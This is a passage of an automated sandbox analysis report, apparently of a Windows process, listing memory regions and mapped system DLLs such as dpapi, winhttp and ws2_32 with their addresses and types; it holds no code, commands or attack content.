"\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 322 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 323 start_va = 0x950000 end_va = 0x970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 324 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 325 start_va = 0x430000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 326 start_va = 0x1dc0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 327 start_va = 0x430000 end_va = 0x445fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 328 start_va = 0x450000 end_va = 0x457fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 329 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 330 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 331 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 332 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 333 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 334 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 335 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 336 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 337 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 338 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 339 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 340 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 341 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 342 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 343 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 344 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 345 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 346 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 347 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 348 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 349 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 350 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 351 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 352 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 353 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 354 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 355 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 356 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 357 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 358 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 359 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 360 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 361 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 362 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 363 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 364 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 365 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 366 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 367 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 368 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 369 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 370 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 371 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 372 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 373 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 374 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 375 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 376 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 377 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 378 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 379 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 380 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 381 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 382 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 383 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 384 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 385 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 386 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 387 start_va = 0x440000 end_va = 0x447fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 388 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 389 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 390 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 391 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 392 start_va = 0x450000 end_va = 0x450fff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 393 start_va = 0x73770000 end_va = 0x73788fff entry_point = 0x73770000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 394 start_va = 0x460000 end_va = 0x469fff entry_point = 0x460000 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 395 start_va = 0x73400000 end_va = 0x73407fff entry_point = 0x73400000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 396 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 397 start_va = 0x950000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 398 start_va = 0x950000 end_va = 0x965fff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 399 start_va = 0x970000 end_va = 0x977fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 400 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 401 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 402 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 403 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 404 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 405 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 406 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 407 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 408 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 409 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 410 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 411 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 412 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 413 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 414 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 415 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 416 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 417 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 418 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 419 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 420 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 421 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 422 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 423 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 424 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 425 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 426 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 427 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 428 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 429 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 430 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 431 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 432 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 433 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 434 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 435 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 436 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 437 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 438 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 439 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 440 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 441 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 442 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 443 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 444 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 445 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 446 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 447 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 448 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 449 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 450 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 451 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 452 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 453 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 454 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 455 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 456 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 457 start_va = 0x950000 end_va = 0x957fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 458 start_va = 0x73430000 end_va = 0x736f0fff entry_point = 0x73430000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 459 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 460 start_va = 0x763b0000 end_va = 0x76441fff entry_point = 0x763b0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 461 start_va = 0x2310000 end_va = 0x23f8fff entry_point = 0x2310000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 462 start_va = 0x950000 end_va = 0x950fff entry_point = 0x950000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 463 start_va = 0x76470000 end_va = 0x764cbfff entry_point = 0x76470000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 464 start_va = 0x77040000 end_va = 0x77046fff entry_point = 0x77040000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 465 start_va = 0x732b0000 end_va = 0x732c0fff entry_point = 0x732b0000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 466 start_va = 0x73280000 end_va = 0x732affff entry_point = 0x73280000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 467 start_va = 0x73270000 end_va = 0x73277fff entry_point = 0x73270000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 468 start_va = 0x731c0000 end_va = 0x73266fff entry_point = 0x731c0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 469 start_va = 0x960000 end_va = 0x99ffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 470 start_va = 0x9a0000 end_va = 0x9a2fff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 471 start_va = 0x2310000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 472 start_va = 0x73170000 end_va = 0x731bdfff entry_point = 0x73170000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 473 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 474 start_va = 0x1ec0000 end_va = 0x1ec2fff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 475 start_va = 0x2410000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 476 start_va = 0x2450000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 477 start_va = 0x730e0000 end_va = 0x73163fff entry_point = 0x730e0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 478 start_va = 0x7fead000 end_va = 0x7feaffff entry_point = 0x0 region_type = private name = "private_0x000000007fead000" filename = "" Region: id = 479 start_va = 0x73790000 end_va = 0x738effff entry_point = 0x73790000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 480 start_va = 0x1ed0000 end_va = 0x1ed0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 481 start_va = 0x2550000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 482 start_va = 0x2590000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 483 start_va = 0x730d0000 end_va = 0x730d7fff entry_point = 0x730d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 484 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 485 start_va = 0x73080000 end_va = 0x730c5fff entry_point = 0x73080000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 486 start_va = 0x1ef0000 end_va = 0x1ef1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 487 start_va = 0x738f0000 end_va = 0x73af8fff entry_point = 0x738f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 488 start_va = 0x2690000 end_va = 0x2693fff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 489 start_va = 0x26a0000 end_va = 0x26a2fff entry_point = 0x26a0000 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 490 start_va = 0x26b0000 end_va = 0x26b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026b0000" filename = "" Region: id = 491 start_va = 0x26c0000 end_va = 0x26cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026c0000" filename = "" Region: id = 492 start_va = 0x26d0000 end_va = 0x26e7fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 493 start_va = 0x9a0000 end_va = 0x9a0fff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 494 start_va = 0x1ec0000 end_va = 0x1ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 495 start_va = 0x1ec0000 end_va = 0x1ec8fff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 496 start_va = 0x26f0000 end_va = 0x26f1fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 497 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 498 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 635 start_va = 0x2710000 end_va = 0x2713fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 636 start_va = 0x2720000 end_va = 0x2722fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 637 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 638 start_va = 0x2740000 end_va = 0x2760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002740000" filename = "" Region: id = 639 start_va = 0x2730000 end_va = 0x2732fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 640 start_va = 0x2730000 end_va = 0x2731fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 641 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 642 start_va = 0x2750000 end_va = 0x2751fff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 643 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 644 start_va = 0x9a0000 end_va = 0x9a0fff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 645 start_va = 0x1ec0000 end_va = 0x1ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 646 start_va = 0x26d0000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 647 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 648 start_va = 0x2760000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 649 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 650 start_va = 0x2720000 end_va = 0x2729fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 651 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 652 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 653 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 654 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 655 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 